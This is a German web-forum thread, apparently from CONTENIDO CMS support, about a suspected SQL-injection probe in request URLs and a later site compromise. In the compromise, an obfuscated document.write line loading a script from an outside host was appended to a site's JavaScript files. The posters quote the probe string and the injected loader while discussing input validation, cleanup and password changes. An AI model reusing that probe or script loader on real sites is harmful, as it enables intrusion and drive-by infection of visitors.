Hack-Versuch?!

Fragen zur Installation von CONTENIDO 4.9? Probleme bei der Konfiguration? Hinweise oder Fragen zur Entwicklung des Systemes oder zur Sicherheit?
Antworten
funomat
Beiträge: 345
Registriert: Do 26. Feb 2004, 22:13
Wohnort: Neuss
Kontaktdaten:

Hack-Versuch?!

Beitrag von funomat » Mi 2. Nov 2011, 09:12

Hallo,

ich habe heute festgestellt, dass in den letzten Tagen bei einem Kunden mehrfach versucht wurde mit der folgenden Erweiterung der URL Seiten aufzurufen: front_content.php?idcat=5+ORDER+BY+1+--&lang=2

Versucht das einer Contenido zu hacken? Und könnte er damit bei einer 4.8.10 Erfolg haben? Laut Errorlog wird nur ein MySQL-Error erzeugt, aber evtl. hat der Angreifer es ja auch eine andere Contenido-Version abgesehen!

Gruß
funomat
tiago.de | adk-msi.de | iseringhausen.de | the-iseringhausen.de
Manchmal glaube ich, der beste Beweis dafür, dass es anderswo im Weltall intelligentes Leben gibt, ist der, dass noch niemand versucht hat, Kontakt zu uns aufzunehmen. (Calvin & Hobbes)

Oldperl
Beiträge: 4250
Registriert: Do 30. Jun 2005, 22:56
Wohnort: Eltmann, Unterfranken, Bayern
Kontaktdaten:

Re: Hack-Versuch?!

Beitrag von Oldperl » Mi 2. Nov 2011, 12:00

Hallo funomat,

sieht eher nach einem VorabInfosammeln aus. Sowas kann ein Hinweis auf die Vorbereitung zu einem Hackerangriff hindeuten, kann aber auch nur der Hinweis auf einen Scriptkiddie sein, der eines der vielen Tutorials zum Thema ausprobiert.
Einen interessanten Artikel zum Thema findet man hier.

Contenido versucht SQL-Injections zu unterbinden, zumindest ist mir momentan in der aktuellen Version keine Lücke bekannt.Trotzdem kann es in externen Modulen oder Plugins "offene" SQL-Abfragen geben bei denen solche Angriffe greifen. Leider finden sich immer noch viele Entwickler die ein Cleanup von Variablen die direkt in SQL-Abfragen genutzt werden vergessen oder übersehen.

Du solltest das auf alle Fälle beobachten und evtl. auch mal die Serverlogs entsprechend checken, hier auch das access-Log auf geglückte Abfragen.
Auch besteht die Möglichkeit das Log des MySQL-Servers zu checken.

Gruß aus Franken

Ortwin
ConLite 2.1, alternatives und stabiles Update von Contenido 4.8.x unter PHP 7.x - Download und Repo auf Gitport.de
phpBO Search Advanced - das Suchwort-Plugin für CONTENIDO 4.9
Mein Entwickler-Blog

funomat
Beiträge: 345
Registriert: Do 26. Feb 2004, 22:13
Wohnort: Neuss
Kontaktdaten:

Re: Hack-Versuch?!

Beitrag von funomat » Mi 2. Nov 2011, 15:11

Hallo Ortwin,

vielen Dank für die schnellen Infos. Ich werde auf jeden Fall die Logs im Auge behalten und den Kunden zu einem Update auf die 4.8.15 bewegen. Bei den Modulen sollte es aber keine Probleme geben. Die checke ich immer durch, wenn ich sie zum ersten mal einsetze.

Da ich mich aber mit dem Thema nicht so gut auskenne, beruhigen mich Deine Infos und die Tatsache, dass es bisher keinen erkennbaren Schaden an der Seite gibt, schon mal ein wenig.

VG
funomat
tiago.de | adk-msi.de | iseringhausen.de | the-iseringhausen.de
Manchmal glaube ich, der beste Beweis dafür, dass es anderswo im Weltall intelligentes Leben gibt, ist der, dass noch niemand versucht hat, Kontakt zu uns aufzunehmen. (Calvin & Hobbes)

annam92
Beiträge: 3
Registriert: So 6. Okt 2013, 16:51
Kontaktdaten:

Re: Hack-Versuch?!

Beitrag von annam92 » So 6. Okt 2013, 17:01

Is es gut formuliert? front_content.php?idcat=5+ORDER+BY+1+--&lang=2
Bei mir funktioniert das nicht :(

xmurrix
Beiträge: 3143
Registriert: Do 21. Okt 2004, 11:08
Wohnort: Augsburg
Kontaktdaten:

Re: Hack-Versuch?!

Beitrag von xmurrix » Di 8. Okt 2013, 10:35

annam92 hat geschrieben:Is es gut formuliert? front_content.php?idcat=5+ORDER+BY+1+--&lang=2
Hallo annam92,

ob das richtig ist oder nicht, werde ich dir nicht sagen. Im Grunde ist folgendes wichtig. Niemals Daten blind zu Vertrauen, die von Außen kommen.

Hast du eine URL wie z. B.

Code: Alles auswählen

front_content.php?idcat=5&lang=2&itemid=33&itemname=foobar
und ein Modul, das mit den Parametern itemid und itemname arbeitet, dann solltest du die Werte vor der Weiterverarbeitung ecapen und oder validieren.

Code: Alles auswählen

<?php
// itemid: erlaubt sind nur numerische Werte, mit vorangestelltem (int) wird alles zu einem Integer umgewandelt
$itemid = (int) $_GET['itemid'];
// itemname: erlaubt ist ein Text mit alphanumerischen Werten und Bindestrich sowie Unterstrich
$itemname = (preg_match("/^[a-z0-9-_]*$/i", $_GET['itemname']) ? $_GET['itemname'] : '';
?>
Verwendest du die Werte in einem Modul um mit diesen z. B. eine Abfrage an die Datenbank zu senden, dann solltest du die entsprechenden Funktionen der DB verwenden, um die Werte entsprechend zu escapen.

Code: Alles auswählen

<?php
$db = cRegistry::getDB();
$sql = "SELECT * FROM `%s` WHERE itemid = %d AND itemname = '%s'";
$sql = $db->prepare($sql, 'myTable', $_GET['itemid'], $_GET['itemname']);
$db->query($sql);
?>
Dabei werden die Parameter (alle ab dem 2.), die an die Funktion prepare() übergeben wurden, entsprechend Formatiert oder escaped
- Platzhalter %s sorgt dafür, dass Werte escaped werden
- Platzhaltr %d sorgt dafür, dass Werte in integer umgewandelt werden

Wenn du darauf achtest, dass ankommende Werte nie ungeprüft weiterverarbeitet werden, ist das Risiko eines Hack-Angriffs gering.

Nachtrag:
Wie dominik.ziegler_4fb darauf hingewiesen hat, kümmert sich der aktivierte Request Validator um die Validierung der ankommender Werte. Per default werden von CONTENIDO verwendete Parameter (idcat, idlang, lang, client, contenido, usw...) geprüft. Benutzerdefinierte Parameter in Modulen sind davon ausgeschlossen, da der Request Validator nicht wissen kann, welche Parameter es gibt und welche Werte diese Parameter haben. Du kannst aber die Konfiguration des Request Validator erweitern, erstelle eine Datei "config.http_check.local.php" im Verzeichnis "data/config/production/" und schreibe dort die Regeln zum Validieren der Parameter deiner Module rein. Beispiele findest du in der "config.http_check.php" im gleichen Verzeichnis, das von CONTENIDO mitgeliefert wird. Beachte aber, dass die Validierung sich global (Backend, Frontend, Plugins und Module) auswirkt.

Gruß
xmurrix
CONTENIDO Downloads: CONTENIDO 4.10.1
CONTENIDO Links: Dokumentationsportal, FAQ, API-Dokumentation
CONTENIDO @ Github: CONTENIDO 4.10 - Mit einem Entwicklungszweig (develop-branch), das viele Verbesserungen/Optimierungen erhalten hat und auf Stabilität und Kompatibilität mit PHP 8.0 bis 8.2 getrimmt wurde.

dominik.ziegler
Beiträge: 437
Registriert: Do 19. Jun 2008, 09:09

Re: Hack-Versuch?!

Beitrag von dominik.ziegler » Di 8. Okt 2013, 12:34

Bei aktivierter Request Validator Prüfungen sollte der Aufruf oben nicht bis zum Modul vordringen, da der Validator für idcat ausschließlich Zahlwerte annimmt und der Wert oben durch die Prüfung fallen würde. CONTENIDO müsste mit "Illegal call" o.ä. den Dienst dann komplett verweigern.
Viele Grüße
Dominik

Halchteranerin
Beiträge: 5478
Registriert: Di 2. Mär 2004, 21:11
Wohnort: Halchter, wo sonst? ;-)
Kontaktdaten:

Re: Hack-Versuch?!

Beitrag von Halchteranerin » Fr 11. Okt 2013, 00:33

annam92 hat geschrieben:Is es gut formuliert? front_content.php?idcat=5+ORDER+BY+1+--&lang=2
Bei mir funktioniert das nicht :(
WAS funktioniert bei dir nicht, und warum sollte es bei DIR funktionieren? Oder bist du derjenige, der funomats Site angreifen wollte? :roll:
Bitte keine unaufgeforderten Privatnachrichten mit Hilfegesuchen schicken. WENN ich helfen kann, dann mache ich das im Forum, da ich auch alle Postings lese. PN werden nicht beantwortet!

Faar
Beiträge: 1915
Registriert: Sa 8. Sep 2007, 16:23
Wohnort: Brandenburg
Kontaktdaten:

Re: Hack-Versuch?!

Beitrag von Faar » Mo 14. Okt 2013, 11:22

ORDER BY 1 sortiert eigentlich nur nach dem ersten Feld das selektiert wird (ORDER BY ordinal).
Vermutlich soll damit herausgefunden werden, ob mit dieser Methode überhaupt SQL-Injection bei Contenido gehen würde.

Andererseits könnte man damit vielleicht auch ORDER BY - Optimierung betreiben, was manche Abfragen schneller macht (ORDER BY Null).
Fliegt der Bauer übers Dach, ist der Wind weißgott nicht schwach.

Faar
Beiträge: 1915
Registriert: Sa 8. Sep 2007, 16:23
Wohnort: Brandenburg
Kontaktdaten:

seltsames Script in der main.js

Beitrag von Faar » Sa 1. Mär 2014, 10:38

Moin,

hab in der main.js ein seltsames Script gefunden, ganz unten:

Code: Alles auswählen

/*2b82ca*/


                    																	                               	 /*iimiim094iim09*/



document.write("<script type='text/javascript' src='http://marchigiana.com.ar/K6kLhqcX.php?id=19555718'></"+ "script>");




/*/2b82ca*/
Unsere Scriptblocker blockieren das natürlich aber trotzdem wundert es mich, ob dieses Script zum original Umfang von main.js gehört (und was es dann sein soll?) oder ob jemand das Script gehackt hat?
Wenn letzteres der Fall ist, kann es vielleicht über den Hoster (strato) oder genauer, dieses Accounts oder durch eine wunde Stelle im Script passiert sein.
Hat jemand bereits was ähnliches gefunden?
Fliegt der Bauer übers Dach, ist der Wind weißgott nicht schwach.

xmurrix
Beiträge: 3143
Registriert: Do 21. Okt 2004, 11:08
Wohnort: Augsburg
Kontaktdaten:

Re: Hack-Versuch?!

Beitrag von xmurrix » Sa 1. Mär 2014, 10:55

Morgen,

diese Script-Zeile gehört ganz sicher nicht in die main.js, ich würde es da entfernen und auch sicherheitshalber im ganzen Projekt, sowohl in den Sourcen also auch in der Datenbank (Layouts, Module, Code, usw.), danach suchen.

Vielleicht findest du in den Server-Logs einen Anhaltspunkt, wie das dort hin gelangen konnte.

Gruß
xmurrix
CONTENIDO Downloads: CONTENIDO 4.10.1
CONTENIDO Links: Dokumentationsportal, FAQ, API-Dokumentation
CONTENIDO @ Github: CONTENIDO 4.10 - Mit einem Entwicklungszweig (develop-branch), das viele Verbesserungen/Optimierungen erhalten hat und auf Stabilität und Kompatibilität mit PHP 8.0 bis 8.2 getrimmt wurde.

Faar
Beiträge: 1915
Registriert: Sa 8. Sep 2007, 16:23
Wohnort: Brandenburg
Kontaktdaten:

Re: Hack-Versuch?!

Beitrag von Faar » Sa 1. Mär 2014, 11:25

Moin Xmurrix :-)

Ich habe inzwischen das Script in allen .js Dateien gefunden, nicht nur in main.js
Der Angriff fand wohl heute Nacht um 1:06 statt und im hundertstel Sekundentakt wurden die .js Dateien verändert.

Ich denke, es liegt an anderen Programmen, die bis vorhin noch auf dem Kunden-Server lagen und nicht an Contenido.
Meine 4.9 Contenido Installationen sind alle sauber, hab ich gerade nachgeprüft.

Kennt jemand das System "Webyep" ?
Hab das soeben gelöscht, war scheints von meinem Vorgänger installiert worden.
Wahrscheinlich kam der Hacker über dieses System in den Serverbereich rein und hat dann automatisch alle .js Dateien infiziert.

Außer in der Datenbank könnte im Cache dann ja auch noch was liegen?

Die Seite ist ja noch nicht freigeschaltet, ich bügel jetzt erstmal alle Systemdateien von Contenido drüber, denn die gefühlt 1000 .js Dateien mag ich nicht von Hand bereinigen.
Unseren Script- und Requestblockern sei nochmal Dank ausgesprochen :-)
Auch wenn manche gerne diese Blocker gar nicht mögen:
http://www.spiegel.de/netzwelt/web/adbl ... 56278.html

Vg,
Frank
Fliegt der Bauer übers Dach, ist der Wind weißgott nicht schwach.

Oldperl
Beiträge: 4250
Registriert: Do 30. Jun 2005, 22:56
Wohnort: Eltmann, Unterfranken, Bayern
Kontaktdaten:

Re: Hack-Versuch?!

Beitrag von Oldperl » Sa 1. Mär 2014, 11:54

Servus Frank,

denk dran auch sämtliche Passwörter auf dem Web zu ändern (FTP, DB, Backend, etc.). Und schau auch nach ob während des "Angriffs" noch irgendwo auf dem Server Dateien geschrieben wurden, sprich, der Angreifer sich noch höhere Rechte verschafft hat. Hatte letztens erst so einen Fall wo der Angreifer immer wieder kam da er sich wohl ein Hintertürchen gebaut hatte.

Gruß aus Franken

Ortwin
ConLite 2.1, alternatives und stabiles Update von Contenido 4.8.x unter PHP 7.x - Download und Repo auf Gitport.de
phpBO Search Advanced - das Suchwort-Plugin für CONTENIDO 4.9
Mein Entwickler-Blog

Faar
Beiträge: 1915
Registriert: Sa 8. Sep 2007, 16:23
Wohnort: Brandenburg
Kontaktdaten:

Re: Hack-Versuch?!

Beitrag von Faar » Sa 1. Mär 2014, 12:03

Moin Ortwin,

danke für die Tipps, das werde ich jetzt nach und nach machen und dann den Kunden noch informieren.
Trojanerdateien hatte ich im Contenido-System bisher nicht gefunden, es waren nur die .js infiziert.
Der Hacker kam also entweder über den Strato Account direkt rein oder aber über Webyep.
An die Serverlogs komme ich bei einem Strato Paket wohl gar nicht dran.

Ich hatte eh schon überlegt, was ich an einem so schönen sonnigen Samstag wohl mache. :)
Jetzt weiß ich es. :(
Fliegt der Bauer übers Dach, ist der Wind weißgott nicht schwach.

Oldperl
Beiträge: 4250
Registriert: Do 30. Jun 2005, 22:56
Wohnort: Eltmann, Unterfranken, Bayern
Kontaktdaten:

Re: Hack-Versuch?!

Beitrag von Oldperl » Sa 1. Mär 2014, 12:32

Na wenn du nix besseres zu tun hast :mrgreen:

Es kann halt auch sein, dass der Angreifer über ne ganz andere Seite kam, daher alle, und wirklich alle, Zugänge mit neuen Passwörtern versehen. So gab es vor kurzem eine Meldung bei Heise das viele AVM-Router und Derivate hackbar sind/waren und man diese dann z.B. auch zum Überwachen des Datenverkehrs nutzen konnte :arrow: http://www.heise.de/netze/meldung/Fritz ... d.tw.netze

Gruß aus Franken

Ortwin
ConLite 2.1, alternatives und stabiles Update von Contenido 4.8.x unter PHP 7.x - Download und Repo auf Gitport.de
phpBO Search Advanced - das Suchwort-Plugin für CONTENIDO 4.9
Mein Entwickler-Blog

Faar
Beiträge: 1915
Registriert: Sa 8. Sep 2007, 16:23
Wohnort: Brandenburg
Kontaktdaten:

Re: Hack-Versuch?!

Beitrag von Faar » Sa 1. Mär 2014, 13:49

Mahlzeit Ortwin,

ich hatte zumindest schon bei Kunden den Fall, dass ihre Computer verseucht waren (einmal auch Apples). Die haben dann beim Hochladen den Trojaner und Virus mitgeschleppt.
Mit den routern kommt vielleicht noch ein weiteres Problem dazu.
Es kann theoretisch aber auch sein, dass mal von einem fremden Computer aus etwas hoch lädt und dann den Virus drin hat.
Da wäre eigentlich eine Art Virus-Scan beim Upload interessant.

Von unseren PC's kommt es nicht, wir arbeiten an mehreren aktuellen con49 (und anderen) Systemen und da ist nichts verseucht.
Das Referenz-System von wo aus ich gestern noch u.a. das main.js kopiert hatte, ist sauber.
Natürlich schreckt einen der scheinbare zeitliche Zusammenhang auf, aber es ist immerhin Freitag auf Samstag Nacht passiert, also zu den üblichen Hackerzeiten.
Die scannen ja immer wieder ihre gehackten Systeme, ob dort noch ihr Virus drauf ist (...ich hätte webyep gleich anfangs löschen sollen).

Unser Router ist nicht von den Problemen betroffen :-)
Aber der Kunden-Router könnte es vielleicht sein.

Grüße aus dem sonnig-frühlingshaften Berlin,
Frank
Fliegt der Bauer übers Dach, ist der Wind weißgott nicht schwach.

Antworten